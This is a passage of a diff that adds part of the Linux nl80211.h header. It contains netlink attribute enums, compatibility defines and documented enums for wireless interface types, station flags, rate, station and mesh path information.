+ NL80211_ATTR_KEY_IDX,
+ NL80211_ATTR_KEY_CIPHER,
+ NL80211_ATTR_KEY_SEQ,
+ NL80211_ATTR_KEY_DEFAULT,
+
+ NL80211_ATTR_BEACON_INTERVAL,
+ NL80211_ATTR_DTIM_PERIOD,
+ NL80211_ATTR_BEACON_HEAD,
+ NL80211_ATTR_BEACON_TAIL,
+
+ NL80211_ATTR_STA_AID,
+ NL80211_ATTR_STA_FLAGS,
+ NL80211_ATTR_STA_LISTEN_INTERVAL,
+ NL80211_ATTR_STA_SUPPORTED_RATES,
+ NL80211_ATTR_STA_VLAN,
+ NL80211_ATTR_STA_INFO,
+
+ NL80211_ATTR_WIPHY_BANDS,
+
+ NL80211_ATTR_MNTR_FLAGS,
+
+ NL80211_ATTR_MESH_ID,
+ NL80211_ATTR_STA_PLINK_ACTION,
+ NL80211_ATTR_MPATH_NEXT_HOP,
+ NL80211_ATTR_MPATH_INFO,
+
+ NL80211_ATTR_BSS_CTS_PROT,
+ NL80211_ATTR_BSS_SHORT_PREAMBLE,
+ NL80211_ATTR_BSS_SHORT_SLOT_TIME,
+
+ NL80211_ATTR_HT_CAPABILITY,
+
+ NL80211_ATTR_SUPPORTED_IFTYPES,
+
+ NL80211_ATTR_REG_ALPHA2,
+ NL80211_ATTR_REG_RULES,
+
+ NL80211_ATTR_MESH_CONFIG,
+
+ NL80211_ATTR_BSS_BASIC_RATES,
+
+ NL80211_ATTR_WIPHY_TXQ_PARAMS,
+ NL80211_ATTR_WIPHY_FREQ,
+ NL80211_ATTR_WIPHY_CHANNEL_TYPE,
+
+ NL80211_ATTR_KEY_DEFAULT_MGMT,
+
+ NL80211_ATTR_MGMT_SUBTYPE,
+ NL80211_ATTR_IE,
+
+ NL80211_ATTR_MAX_NUM_SCAN_SSIDS,
+
+ NL80211_ATTR_SCAN_FREQUENCIES,
+ NL80211_ATTR_SCAN_SSIDS,
+ NL80211_ATTR_GENERATION, /* replaces old SCAN_GENERATION */
+ NL80211_ATTR_BSS,
+
+ NL80211_ATTR_REG_INITIATOR,
+ NL80211_ATTR_REG_TYPE,
+
+ NL80211_ATTR_SUPPORTED_COMMANDS,
+
+ NL80211_ATTR_FRAME,
+ NL80211_ATTR_SSID,
+ NL80211_ATTR_AUTH_TYPE,
+ NL80211_ATTR_REASON_CODE,
+
+ NL80211_ATTR_KEY_TYPE,
+
+ NL80211_ATTR_MAX_SCAN_IE_LEN,
+ NL80211_ATTR_CIPHER_SUITES,
+
+ NL80211_ATTR_FREQ_BEFORE,
+ NL80211_ATTR_FREQ_AFTER,
+
+ NL80211_ATTR_FREQ_FIXED,
+
+ NL80211_ATTR_WIPHY_RETRY_SHORT,
+ NL80211_ATTR_WIPHY_RETRY_LONG,
+ NL80211_ATTR_WIPHY_FRAG_THRESHOLD,
+ NL80211_ATTR_WIPHY_RTS_THRESHOLD,
+
+ NL80211_ATTR_TIMED_OUT,
+
+ NL80211_ATTR_USE_MFP,
+
+ NL80211_ATTR_STA_FLAGS2,
+
+ NL80211_ATTR_CONTROL_PORT,
+
+ NL80211_ATTR_TESTDATA,
+
+ NL80211_ATTR_PRIVACY,
+
+ NL80211_ATTR_DISCONNECTED_BY_AP,
+ NL80211_ATTR_STATUS_CODE,
+
+ NL80211_ATTR_CIPHER_SUITES_PAIRWISE,
+ NL80211_ATTR_CIPHER_SUITE_GROUP,
+ NL80211_ATTR_WPA_VERSIONS,
+ NL80211_ATTR_AKM_SUITES,
+
+ NL80211_ATTR_REQ_IE,
+ NL80211_ATTR_RESP_IE,
+
+ NL80211_ATTR_PREV_BSSID,
+
+ NL80211_ATTR_KEY,
+ NL80211_ATTR_KEYS,
+
+ NL80211_ATTR_PID,
+
+ NL80211_ATTR_4ADDR,
+
+ NL80211_ATTR_SURVEY_INFO,
+
+ NL80211_ATTR_PMKID,
+ NL80211_ATTR_MAX_NUM_PMKIDS,
+
+ NL80211_ATTR_DURATION,
+
+ NL80211_ATTR_COOKIE,
+
+ NL80211_ATTR_WIPHY_COVERAGE_CLASS,
+
+ NL80211_ATTR_TX_RATES,
+
+ NL80211_ATTR_FRAME_MATCH,
+
+ NL80211_ATTR_ACK,
+
+ NL80211_ATTR_PS_STATE,
+
+ NL80211_ATTR_CQM,
+
+ NL80211_ATTR_LOCAL_STATE_CHANGE,
+
+ NL80211_ATTR_AP_ISOLATE,
+
+ NL80211_ATTR_WIPHY_TX_POWER_SETTING,
+ NL80211_ATTR_WIPHY_TX_POWER_LEVEL,
+
+ NL80211_ATTR_TX_FRAME_TYPES,
+ NL80211_ATTR_RX_FRAME_TYPES,
+ NL80211_ATTR_FRAME_TYPE,
+
+ NL80211_ATTR_CONTROL_PORT_ETHERTYPE,
+ NL80211_ATTR_CONTROL_PORT_NO_ENCRYPT,
+
+ NL80211_ATTR_SUPPORT_IBSS_RSN,
+
+ NL80211_ATTR_WIPHY_ANTENNA_TX,
+ NL80211_ATTR_WIPHY_ANTENNA_RX,
+
+ NL80211_ATTR_MCAST_RATE,
+
+ NL80211_ATTR_OFFCHANNEL_TX_OK,
+
+ NL80211_ATTR_BSS_HT_OPMODE,
+
+ NL80211_ATTR_KEY_DEFAULT_TYPES,
+
+ NL80211_ATTR_MAX_REMAIN_ON_CHANNEL_DURATION,
+
+ NL80211_ATTR_MESH_SETUP,
+
+ NL80211_ATTR_WIPHY_ANTENNA_AVAIL_TX,
+ NL80211_ATTR_WIPHY_ANTENNA_AVAIL_RX,
+
+ NL80211_ATTR_SUPPORT_MESH_AUTH,
+ NL80211_ATTR_STA_PLINK_STATE,
+
+ NL80211_ATTR_WOWLAN_TRIGGERS,
+ NL80211_ATTR_WOWLAN_TRIGGERS_SUPPORTED,
+
+ NL80211_ATTR_SCHED_SCAN_INTERVAL,
+
+ NL80211_ATTR_INTERFACE_COMBINATIONS,
+ NL80211_ATTR_SOFTWARE_IFTYPES,
+
+ NL80211_ATTR_REKEY_DATA,
+
+ NL80211_ATTR_MAX_NUM_SCHED_SCAN_SSIDS,
+ NL80211_ATTR_MAX_SCHED_SCAN_IE_LEN,
+
+ NL80211_ATTR_SCAN_SUPP_RATES,
+
+ NL80211_ATTR_HIDDEN_SSID,
+
+ NL80211_ATTR_IE_PROBE_RESP,
+ NL80211_ATTR_IE_ASSOC_RESP,
+
+ NL80211_ATTR_STA_WME,
+ NL80211_ATTR_SUPPORT_AP_UAPSD,
+
+ NL80211_ATTR_ROAM_SUPPORT,
+
+ NL80211_ATTR_SCHED_SCAN_MATCH,
+ NL80211_ATTR_MAX_MATCH_SETS,
+
+ NL80211_ATTR_PMKSA_CANDIDATE,
+
+ NL80211_ATTR_TX_NO_CCK_RATE,
+
+ NL80211_ATTR_TDLS_ACTION,
+ NL80211_ATTR_TDLS_DIALOG_TOKEN,
+ NL80211_ATTR_TDLS_OPERATION,
+ NL80211_ATTR_TDLS_SUPPORT,
+ NL80211_ATTR_TDLS_EXTERNAL_SETUP,
+
+ NL80211_ATTR_DEVICE_AP_SME,
+
+ NL80211_ATTR_DONT_WAIT_FOR_ACK,
+
+ NL80211_ATTR_FEATURE_FLAGS,
+
+ NL80211_ATTR_PROBE_RESP_OFFLOAD,
+
+ NL80211_ATTR_PROBE_RESP,
+
+ NL80211_ATTR_DFS_REGION,
+
+ NL80211_ATTR_DISABLE_HT,
+ NL80211_ATTR_HT_CAPABILITY_MASK,
+
+ NL80211_ATTR_NOACK_MAP,
+
+ NL80211_ATTR_INACTIVITY_TIMEOUT,
+
+ NL80211_ATTR_RX_SIGNAL_DBM,
+
+ NL80211_ATTR_BG_SCAN_PERIOD,
+
+ NL80211_ATTR_WDEV,
+
+ NL80211_ATTR_USER_REG_HINT_TYPE,
+
+ NL80211_ATTR_CONN_FAILED_REASON,
+
+ NL80211_ATTR_SAE_DATA,
+
+ NL80211_ATTR_VHT_CAPABILITY,
+
+ NL80211_ATTR_SCAN_FLAGS,
+
+ NL80211_ATTR_CHANNEL_WIDTH,
+ NL80211_ATTR_CENTER_FREQ1,
+ NL80211_ATTR_CENTER_FREQ2,
+
+ NL80211_ATTR_P2P_CTWINDOW,
+ NL80211_ATTR_P2P_OPPPS,
+
+ NL80211_ATTR_LOCAL_MESH_POWER_MODE,
+
+ NL80211_ATTR_ACL_POLICY,
+
+ NL80211_ATTR_MAC_ADDRS,
+
+ NL80211_ATTR_MAC_ACL_MAX,
+
+ NL80211_ATTR_RADAR_EVENT,
+
+ NL80211_ATTR_EXT_CAPA,
+ NL80211_ATTR_EXT_CAPA_MASK,
+
+ NL80211_ATTR_STA_CAPABILITY,
+ NL80211_ATTR_STA_EXT_CAPABILITY,
+
+ NL80211_ATTR_PROTOCOL_FEATURES,
+ NL80211_ATTR_SPLIT_WIPHY_DUMP,
+
+ NL80211_ATTR_DISABLE_VHT,
+ NL80211_ATTR_VHT_CAPABILITY_MASK,
+
+ NL80211_ATTR_MDID,
+ NL80211_ATTR_IE_RIC,
+
+ NL80211_ATTR_CRIT_PROT_ID,
+ NL80211_ATTR_MAX_CRIT_PROT_DURATION,
+
+ NL80211_ATTR_PEER_AID,
+
+ NL80211_ATTR_COALESCE_RULE,
+
+ NL80211_ATTR_CH_SWITCH_COUNT,
+ NL80211_ATTR_CH_SWITCH_BLOCK_TX,
+ NL80211_ATTR_CSA_IES,
+ NL80211_ATTR_CSA_C_OFF_BEACON,
+ NL80211_ATTR_CSA_C_OFF_PRESP,
+
+ NL80211_ATTR_RXMGMT_FLAGS,
+
+ NL80211_ATTR_STA_SUPPORTED_CHANNELS,
+
+ NL80211_ATTR_STA_SUPPORTED_OPER_CLASSES,
+
+ NL80211_ATTR_HANDLE_DFS,
+
+ NL80211_ATTR_SUPPORT_5_MHZ,
+ NL80211_ATTR_SUPPORT_10_MHZ,
+
+ NL80211_ATTR_OPMODE_NOTIF,
+
+ NL80211_ATTR_VENDOR_ID,
+ NL80211_ATTR_VENDOR_SUBCMD,
+ NL80211_ATTR_VENDOR_DATA,
+ NL80211_ATTR_VENDOR_EVENTS,
+
+ NL80211_ATTR_QOS_MAP,
+
+ NL80211_ATTR_MAC_HINT,
+ NL80211_ATTR_WIPHY_FREQ_HINT,
+
+ NL80211_ATTR_MAX_AP_ASSOC_STA,
+
+ NL80211_ATTR_TDLS_PEER_CAPABILITY,
+
+ NL80211_ATTR_IFACE_SOCKET_OWNER,
+
+ NL80211_ATTR_CSA_C_OFFSETS_TX,
+ NL80211_ATTR_MAX_CSA_COUNTERS,
+
+ NL80211_ATTR_TDLS_INITIATOR,
+
+ NL80211_ATTR_USE_RRM,
+
+ NL80211_ATTR_WIPHY_DYN_ACK,
+
+ NL80211_ATTR_TSID,
+ NL80211_ATTR_USER_PRIO,
+ NL80211_ATTR_ADMITTED_TIME,
+
+ NL80211_ATTR_SMPS_MODE,
+
+ NL80211_ATTR_OPER_CLASS,
+
+ NL80211_ATTR_MAC_MASK,
+
+ NL80211_ATTR_WIPHY_SELF_MANAGED_REG,
+
+ NL80211_ATTR_EXT_FEATURES,
+
+ NL80211_ATTR_SURVEY_RADIO_STATS,
+
+ NL80211_ATTR_NETNS_FD,
+
+ NL80211_ATTR_SCHED_SCAN_DELAY,
+
+ NL80211_ATTR_REG_INDOOR,
+
+ NL80211_ATTR_MAX_NUM_SCHED_SCAN_PLANS,
+ NL80211_ATTR_MAX_SCAN_PLAN_INTERVAL,
+ NL80211_ATTR_MAX_SCAN_PLAN_ITERATIONS,
+ NL80211_ATTR_SCHED_SCAN_PLANS,
+
+ NL80211_ATTR_PBSS,
+
+ /* add attributes here, update the policy in nl80211.c */
+
+ __NL80211_ATTR_AFTER_LAST,
+ NL80211_ATTR_MAX = __NL80211_ATTR_AFTER_LAST - 1
+};
+
+/* source-level API compatibility */
+#define NL80211_ATTR_SCAN_GENERATION NL80211_ATTR_GENERATION
+#define NL80211_ATTR_MESH_PARAMS NL80211_ATTR_MESH_CONFIG
+
+/*
+ * Allow user space programs to use #ifdef on new attributes by defining them
+ * here
+ */
+#define NL80211_CMD_CONNECT NL80211_CMD_CONNECT
+#define NL80211_ATTR_HT_CAPABILITY NL80211_ATTR_HT_CAPABILITY
+#define NL80211_ATTR_BSS_BASIC_RATES NL80211_ATTR_BSS_BASIC_RATES
+#define NL80211_ATTR_WIPHY_TXQ_PARAMS NL80211_ATTR_WIPHY_TXQ_PARAMS
+#define NL80211_ATTR_WIPHY_FREQ NL80211_ATTR_WIPHY_FREQ
+#define NL80211_ATTR_WIPHY_CHANNEL_TYPE NL80211_ATTR_WIPHY_CHANNEL_TYPE
+#define NL80211_ATTR_MGMT_SUBTYPE NL80211_ATTR_MGMT_SUBTYPE
+#define NL80211_ATTR_IE NL80211_ATTR_IE
+#define NL80211_ATTR_REG_INITIATOR NL80211_ATTR_REG_INITIATOR
+#define NL80211_ATTR_REG_TYPE NL80211_ATTR_REG_TYPE
+#define NL80211_ATTR_FRAME NL80211_ATTR_FRAME
+#define NL80211_ATTR_SSID NL80211_ATTR_SSID
+#define NL80211_ATTR_AUTH_TYPE NL80211_ATTR_AUTH_TYPE
+#define NL80211_ATTR_REASON_CODE NL80211_ATTR_REASON_CODE
+#define NL80211_ATTR_CIPHER_SUITES_PAIRWISE NL80211_ATTR_CIPHER_SUITES_PAIRWISE
+#define NL80211_ATTR_CIPHER_SUITE_GROUP NL80211_ATTR_CIPHER_SUITE_GROUP
+#define NL80211_ATTR_WPA_VERSIONS NL80211_ATTR_WPA_VERSIONS
+#define NL80211_ATTR_AKM_SUITES NL80211_ATTR_AKM_SUITES
+#define NL80211_ATTR_KEY NL80211_ATTR_KEY
+#define NL80211_ATTR_KEYS NL80211_ATTR_KEYS
+#define NL80211_ATTR_FEATURE_FLAGS NL80211_ATTR_FEATURE_FLAGS
+
+#define NL80211_MAX_SUPP_RATES 32
+#define NL80211_MAX_SUPP_HT_RATES 77
+#define NL80211_MAX_SUPP_REG_RULES 32
+#define NL80211_TKIP_DATA_OFFSET_ENCR_KEY 0
+#define NL80211_TKIP_DATA_OFFSET_TX_MIC_KEY 16
+#define NL80211_TKIP_DATA_OFFSET_RX_MIC_KEY 24
+#define NL80211_HT_CAPABILITY_LEN 26
+#define NL80211_VHT_CAPABILITY_LEN 12
+
+#define NL80211_MAX_NR_CIPHER_SUITES 5
+#define NL80211_MAX_NR_AKM_SUITES 2
+
+#define NL80211_MIN_REMAIN_ON_CHANNEL_TIME 10
+
+/* default RSSI threshold for scan results if none specified. */
+#define NL80211_SCAN_RSSI_THOLD_OFF -300
+
+#define NL80211_CQM_TXE_MAX_INTVL 1800
+
+/**
+ * enum nl80211_iftype - (virtual) interface types
+ *
+ * @NL80211_IFTYPE_UNSPECIFIED: unspecified type, driver decides
+ * @NL80211_IFTYPE_ADHOC: independent BSS member
+ * @NL80211_IFTYPE_STATION: managed BSS member
+ * @NL80211_IFTYPE_AP: access point
+ * @NL80211_IFTYPE_AP_VLAN: VLAN interface for access points; VLAN interfaces
+ * are a bit special in that they must always be tied to a pre-existing
+ * AP type interface.
+ * @NL80211_IFTYPE_WDS: wireless distribution interface
+ * @NL80211_IFTYPE_MONITOR: monitor interface receiving all frames
+ * @NL80211_IFTYPE_MESH_POINT: mesh point
+ * @NL80211_IFTYPE_P2P_CLIENT: P2P client
+ * @NL80211_IFTYPE_P2P_GO: P2P group owner
+ * @NL80211_IFTYPE_P2P_DEVICE: P2P device interface type, this is not a netdev
+ * and therefore can't be created in the normal ways, use the
+ * %NL80211_CMD_START_P2P_DEVICE and %NL80211_CMD_STOP_P2P_DEVICE
+ * commands to create and destroy one
+ * @NL80211_IFTYPE_MAX: highest interface type number currently defined
+ * @NUM_NL80211_IFTYPES: number of defined interface types
+ *
+ * These values are used with the %NL80211_ATTR_IFTYPE
+ * to set the type of an interface.
+ *
+ */
+enum nl80211_iftype {
+ NL80211_IFTYPE_UNSPECIFIED,
+ NL80211_IFTYPE_ADHOC,
+ NL80211_IFTYPE_STATION,
+ NL80211_IFTYPE_AP,
+ NL80211_IFTYPE_AP_VLAN,
+ NL80211_IFTYPE_WDS,
+ NL80211_IFTYPE_MONITOR,
+ NL80211_IFTYPE_MESH_POINT,
+ NL80211_IFTYPE_P2P_CLIENT,
+ NL80211_IFTYPE_P2P_GO,
+ NL80211_IFTYPE_P2P_DEVICE,
+
+ /* keep last */
+ NUM_NL80211_IFTYPES,
+ NL80211_IFTYPE_MAX = NUM_NL80211_IFTYPES - 1
+};
+
+/**
+ * enum nl80211_sta_flags - station flags
+ *
+ * Station flags. When a station is added to an AP interface, it is
+ * assumed to be already associated (and hence authenticated.)
+ *
+ * @__NL80211_STA_FLAG_INVALID: attribute number 0 is reserved
+ * @NL80211_STA_FLAG_AUTHORIZED: station is authorized (802.1X)
+ * @NL80211_STA_FLAG_SHORT_PREAMBLE: station is capable of receiving frames
+ * with short barker preamble
+ * @NL80211_STA_FLAG_WME: station is WME/QoS capable
+ * @NL80211_STA_FLAG_MFP: station uses management frame protection
+ * @NL80211_STA_FLAG_AUTHENTICATED: station is authenticated
+ * @NL80211_STA_FLAG_TDLS_PEER: station is a TDLS peer -- this flag should
+ * only be used in managed mode (even in the flags mask). Note that the
+ * flag can't be changed, it is only valid while adding a station, and
+ * attempts to change it will silently be ignored (rather than rejected
+ * as errors.)
+ * @NL80211_STA_FLAG_ASSOCIATED: station is associated; used with drivers
+ * that support %NL80211_FEATURE_FULL_AP_CLIENT_STATE to transition a
+ * previously added station into associated state
+ * @NL80211_STA_FLAG_MAX: highest station flag number currently defined
+ * @__NL80211_STA_FLAG_AFTER_LAST: internal use
+ */
+enum nl80211_sta_flags {
+ __NL80211_STA_FLAG_INVALID,
+ NL80211_STA_FLAG_AUTHORIZED,
+ NL80211_STA_FLAG_SHORT_PREAMBLE,
+ NL80211_STA_FLAG_WME,
+ NL80211_STA_FLAG_MFP,
+ NL80211_STA_FLAG_AUTHENTICATED,
+ NL80211_STA_FLAG_TDLS_PEER,
+ NL80211_STA_FLAG_ASSOCIATED,
+
+ /* keep last */
+ __NL80211_STA_FLAG_AFTER_LAST,
+ NL80211_STA_FLAG_MAX = __NL80211_STA_FLAG_AFTER_LAST - 1
+};
+
+#define NL80211_STA_FLAG_MAX_OLD_API NL80211_STA_FLAG_TDLS_PEER
+
+/**
+ * struct nl80211_sta_flag_update - station flags mask/set
+ * @mask: mask of station flags to set
+ * @set: which values to set them to
+ *
+ * Both mask and set contain bits as per &enum nl80211_sta_flags.
+ */
+struct nl80211_sta_flag_update {
+ __u32 mask;
+ __u32 set;
+} __attribute__((packed));
+
+/**
+ * enum nl80211_rate_info - bitrate information
+ *
+ * These attribute types are used with %NL80211_STA_INFO_TXRATE
+ * when getting information about the bitrate of a station.
+ * There are 2 attributes for bitrate, a legacy one that represents
+ * a 16-bit value, and new one that represents a 32-bit value.
+ * If the rate value fits into 16 bit, both attributes are reported
+ * with the same value. If the rate is too high to fit into 16 bits
+ * (>6.5535Gbps) only 32-bit attribute is included.
+ * User space tools encouraged to use the 32-bit attribute and fall
+ * back to the 16-bit one for compatibility with older kernels.
+ *
+ * @__NL80211_RATE_INFO_INVALID: attribute number 0 is reserved
+ * @NL80211_RATE_INFO_BITRATE: total bitrate (u16, 100kbit/s)
+ * @NL80211_RATE_INFO_MCS: mcs index for 802.11n (u8)
+ * @NL80211_RATE_INFO_40_MHZ_WIDTH: 40 MHz dualchannel bitrate
+ * @NL80211_RATE_INFO_SHORT_GI: 400ns guard interval
+ * @NL80211_RATE_INFO_BITRATE32: total bitrate (u32, 100kbit/s)
+ * @NL80211_RATE_INFO_MAX: highest rate_info number currently defined
+ * @NL80211_RATE_INFO_VHT_MCS: MCS index for VHT (u8)
+ * @NL80211_RATE_INFO_VHT_NSS: number of streams in VHT (u8)
+ * @NL80211_RATE_INFO_80_MHZ_WIDTH: 80 MHz VHT rate
+ * @NL80211_RATE_INFO_80P80_MHZ_WIDTH: 80+80 MHz VHT rate
+ * @NL80211_RATE_INFO_160_MHZ_WIDTH: 160 MHz VHT rate
+ * @__NL80211_RATE_INFO_AFTER_LAST: internal use
+ */
+enum nl80211_rate_info {
+ __NL80211_RATE_INFO_INVALID,
+ NL80211_RATE_INFO_BITRATE,
+ NL80211_RATE_INFO_MCS,
+ NL80211_RATE_INFO_40_MHZ_WIDTH,
+ NL80211_RATE_INFO_SHORT_GI,
+ NL80211_RATE_INFO_BITRATE32,
+ NL80211_RATE_INFO_VHT_MCS,
+ NL80211_RATE_INFO_VHT_NSS,
+ NL80211_RATE_INFO_80_MHZ_WIDTH,
+ NL80211_RATE_INFO_80P80_MHZ_WIDTH,
+ NL80211_RATE_INFO_160_MHZ_WIDTH,
+
+ /* keep last */
+ __NL80211_RATE_INFO_AFTER_LAST,
+ NL80211_RATE_INFO_MAX = __NL80211_RATE_INFO_AFTER_LAST - 1
+};
+
+/**
+ * enum nl80211_sta_bss_param - BSS information collected by STA
+ *
+ * These attribute types are used with %NL80211_STA_INFO_BSS_PARAM
+ * when getting information about the bitrate of a station.
+ *
+ * @__NL80211_STA_BSS_PARAM_INVALID: attribute number 0 is reserved
+ * @NL80211_STA_BSS_PARAM_CTS_PROT: whether CTS protection is enabled (flag)
+ * @NL80211_STA_BSS_PARAM_SHORT_PREAMBLE: whether short preamble is enabled
+ * (flag)
+ * @NL80211_STA_BSS_PARAM_SHORT_SLOT_TIME: whether short slot time is enabled
+ * (flag)
+ * @NL80211_STA_BSS_PARAM_DTIM_PERIOD: DTIM period for beaconing (u8)
+ * @NL80211_STA_BSS_PARAM_BEACON_INTERVAL: Beacon interval (u16)
+ * @NL80211_STA_BSS_PARAM_MAX: highest sta_bss_param number currently defined
+ * @__NL80211_STA_BSS_PARAM_AFTER_LAST: internal use
+ */
+enum nl80211_sta_bss_param {
+ __NL80211_STA_BSS_PARAM_INVALID,
+ NL80211_STA_BSS_PARAM_CTS_PROT,
+ NL80211_STA_BSS_PARAM_SHORT_PREAMBLE,
+ NL80211_STA_BSS_PARAM_SHORT_SLOT_TIME,
+ NL80211_STA_BSS_PARAM_DTIM_PERIOD,
+ NL80211_STA_BSS_PARAM_BEACON_INTERVAL,
+
+ /* keep last */
+ __NL80211_STA_BSS_PARAM_AFTER_LAST,
+ NL80211_STA_BSS_PARAM_MAX = __NL80211_STA_BSS_PARAM_AFTER_LAST - 1
+};
+
+/**
+ * enum nl80211_sta_info - station information
+ *
+ * These attribute types are used with %NL80211_ATTR_STA_INFO
+ * when getting information about a station.
+ *
+ * @__NL80211_STA_INFO_INVALID: attribute number 0 is reserved
+ * @NL80211_STA_INFO_INACTIVE_TIME: time since last activity (u32, msecs)
+ * @NL80211_STA_INFO_RX_BYTES: total received bytes (u32, from this station)
+ * @NL80211_STA_INFO_TX_BYTES: total transmitted bytes (u32, to this station)
+ * @NL80211_STA_INFO_RX_BYTES64: total received bytes (u64, from this station)
+ * @NL80211_STA_INFO_TX_BYTES64: total transmitted bytes (u64, to this station)
+ * @NL80211_STA_INFO_SIGNAL: signal strength of last received PPDU (u8, dBm)
+ * @NL80211_STA_INFO_TX_BITRATE: current unicast tx rate, nested attribute
+ * containing info as possible, see &enum nl80211_rate_info
+ * @NL80211_STA_INFO_RX_PACKETS: total received packet (u32, from this station)
+ * @NL80211_STA_INFO_TX_PACKETS: total transmitted packets (u32, to this
+ * station)
+ * @NL80211_STA_INFO_TX_RETRIES: total retries (u32, to this station)
+ * @NL80211_STA_INFO_TX_FAILED: total failed packets (u32, to this station)
+ * @NL80211_STA_INFO_SIGNAL_AVG: signal strength average (u8, dBm)
+ * @NL80211_STA_INFO_LLID: the station's mesh LLID
+ * @NL80211_STA_INFO_PLID: the station's mesh PLID
+ * @NL80211_STA_INFO_PLINK_STATE: peer link state for the station
+ * (see %enum nl80211_plink_state)
+ * @NL80211_STA_INFO_RX_BITRATE: last unicast data frame rx rate, nested
+ * attribute, like NL80211_STA_INFO_TX_BITRATE.
+ * @NL80211_STA_INFO_BSS_PARAM: current station's view of BSS, nested attribute
+ * containing info as possible, see &enum nl80211_sta_bss_param
+ * @NL80211_STA_INFO_CONNECTED_TIME: time since the station is last connected
+ * @NL80211_STA_INFO_STA_FLAGS: Contains a struct nl80211_sta_flag_update.
+ * @NL80211_STA_INFO_BEACON_LOSS: count of times beacon loss was detected (u32)
+ * @NL80211_STA_INFO_T_OFFSET: timing offset with respect to this STA (s64)
+ * @NL80211_STA_INFO_LOCAL_PM: local mesh STA link-specific power mode
+ * @NL80211_STA_INFO_PEER_PM: peer mesh STA link-specific power mode
+ * @NL80211_STA_INFO_NONPEER_PM: neighbor mesh STA power save mode towards
+ * non-peer STA
+ * @NL80211_STA_INFO_CHAIN_SIGNAL: per-chain signal strength of last PPDU
+ * Contains a nested array of signal strength attributes (u8, dBm)
+ * @NL80211_STA_INFO_CHAIN_SIGNAL_AVG: per-chain signal strength average
+ * Same format as NL80211_STA_INFO_CHAIN_SIGNAL.
+ * @NL80211_STA_EXPECTED_THROUGHPUT: expected throughput considering also the
+ * 802.11 header (u32, kbps)
+ * @__NL80211_STA_INFO_AFTER_LAST: internal
+ * @NL80211_STA_INFO_MAX: highest possible station info attribute
+ */
+enum nl80211_sta_info {
+ __NL80211_STA_INFO_INVALID,
+ NL80211_STA_INFO_INACTIVE_TIME,
+ NL80211_STA_INFO_RX_BYTES,
+ NL80211_STA_INFO_TX_BYTES,
+ NL80211_STA_INFO_LLID,
+ NL80211_STA_INFO_PLID,
+ NL80211_STA_INFO_PLINK_STATE,
+ NL80211_STA_INFO_SIGNAL,
+ NL80211_STA_INFO_TX_BITRATE,
+ NL80211_STA_INFO_RX_PACKETS,
+ NL80211_STA_INFO_TX_PACKETS,
+ NL80211_STA_INFO_TX_RETRIES,
+ NL80211_STA_INFO_TX_FAILED,
+ NL80211_STA_INFO_SIGNAL_AVG,
+ NL80211_STA_INFO_RX_BITRATE,
+ NL80211_STA_INFO_BSS_PARAM,
+ NL80211_STA_INFO_CONNECTED_TIME,
+ NL80211_STA_INFO_STA_FLAGS,
+ NL80211_STA_INFO_BEACON_LOSS,
+ NL80211_STA_INFO_T_OFFSET,
+ NL80211_STA_INFO_LOCAL_PM,
+ NL80211_STA_INFO_PEER_PM,
+ NL80211_STA_INFO_NONPEER_PM,
+ NL80211_STA_INFO_RX_BYTES64,
+ NL80211_STA_INFO_TX_BYTES64,
+ NL80211_STA_INFO_CHAIN_SIGNAL,
+ NL80211_STA_INFO_CHAIN_SIGNAL_AVG,
+ NL80211_STA_INFO_EXPECTED_THROUGHPUT,
+
+ /* keep last */
+ __NL80211_STA_INFO_AFTER_LAST,
+ NL80211_STA_INFO_MAX = __NL80211_STA_INFO_AFTER_LAST - 1
+};
+
+/**
+ * enum nl80211_mpath_flags - nl80211 mesh path flags
+ *
+ * @NL80211_MPATH_FLAG_ACTIVE: the mesh path is active
+ * @NL80211_MPATH_FLAG_RESOLVING: the mesh path discovery process is running
+ * @NL80211_MPATH_FLAG_SN_VALID: the mesh path contains a valid SN
+ * @NL80211_MPATH_FLAG_FIXED: the mesh path has been manually set
+ * @NL80211_MPATH_FLAG_RESOLVED: the mesh path discovery process succeeded
+ */
+enum nl80211_mpath_flags {
+ NL80211_MPATH_FLAG_ACTIVE = 1 << 0,
+ NL80211_MPATH_FLAG_RESOLVING = 1 << 1,
+ NL80211_MPATH_FLAG_SN_VALID = 1 << 2,
+ NL80211_MPATH_FLAG_FIXED = 1 << 3,
+ NL80211_MPATH_FLAG_RESOLVED = 1 << 4,
+};
+
+/**
+ * enum nl80211_mpath_info - mesh path information
+ *
+ * These attribute types are used with %NL80211_ATTR_MPATH_INFO when getting
+ * information about a mesh path.
+ *
+ * @__NL80211_MPATH_INFO_INVALID: attribute number 0 is reserved
+ * @NL80211_MPATH_INFO_FRAME_QLEN: number of queued frames for this destination
+ * @NL80211_MPATH_INFO_SN: destination sequence number
+ * @NL80211_MPATH_INFO_METRIC: metric (cost) of this mesh path
+ * @NL80211_MPATH_INFO_EXPTIME: expiration time for the path, in msec from now
+ * @NL80211_MPATH_INFO_FLAGS: mesh path flags, enumerated in
+ * &enum nl80211_mpath_flags;
+ * @NL80211_MPATH_INFO_DISCOVERY_TIMEOUT: total path discovery timeout, in msec
+ * @NL80211_MPATH_INFO_DISCOVERY_RETRIES: mesh path discovery retries
+ * @NL80211_MPATH_INFO_MAX: highest mesh path information attribute number
+ * currently defind
+ * @__NL80211_MPATH_INFO_AFTER_LAST: internal use
+ */
+enum nl80211_mpath_info {
+ __NL80211_MPATH_INFO_INVALID,
+ NL80211_MPATH_INFO_FRAME_QLEN,
+ NL80211_MPATH_INFO_SN,
+ NL80211_MPATH_INFO_METRIC,
+ NL80211_MPATH_INFO_EXPTIME,
+ NL80211_MPATH_INFO_FLAGS,
+ NL80211_MPATH_INFO_DISCOVERY_TIMEOUT,
+ NL80211_MPATH_INFO_DISCOVERY_RETRIES,
+
+ /* keep last */
+ __NL80211_MPATH_INFO_AFTER_LAST,
+ NL80211_MPATH_INFO_MAX = __NL80211_MPATH_INFO_AFTER_LAST - 1
+};
+
+/**
+ * enum nl80211_band_attr - band attributes
+ * @__NL80211_BAND_ATTR_INVALID: attribute number 0 is reserved
+ * @NL80211_BAND_ATTR_FREQS: supported frequencies in this band,
+ * an array of nested frequency attributes
+ * @NL80211_BAND_ATTR_RATES: supported bitrates in this band,
+ * an array of nested bitrate attributes
+ * @NL80211_BAND_ATTR_HT_MCS_SET: 16-byte attribute containing the MCS set as
+ * defined in 802.11n
+ * @NL80211_BAND_ATTR_HT_CAPA: HT capabilities, as in the HT information IE
+ * @NL80211_BAND_ATTR_HT_AMPDU_FACTOR: A-MPDU factor, as in 11n
+ * @NL80211_BAND_ATTR_HT_AMPDU_DENSITY: A-MPDU density, as in 11n
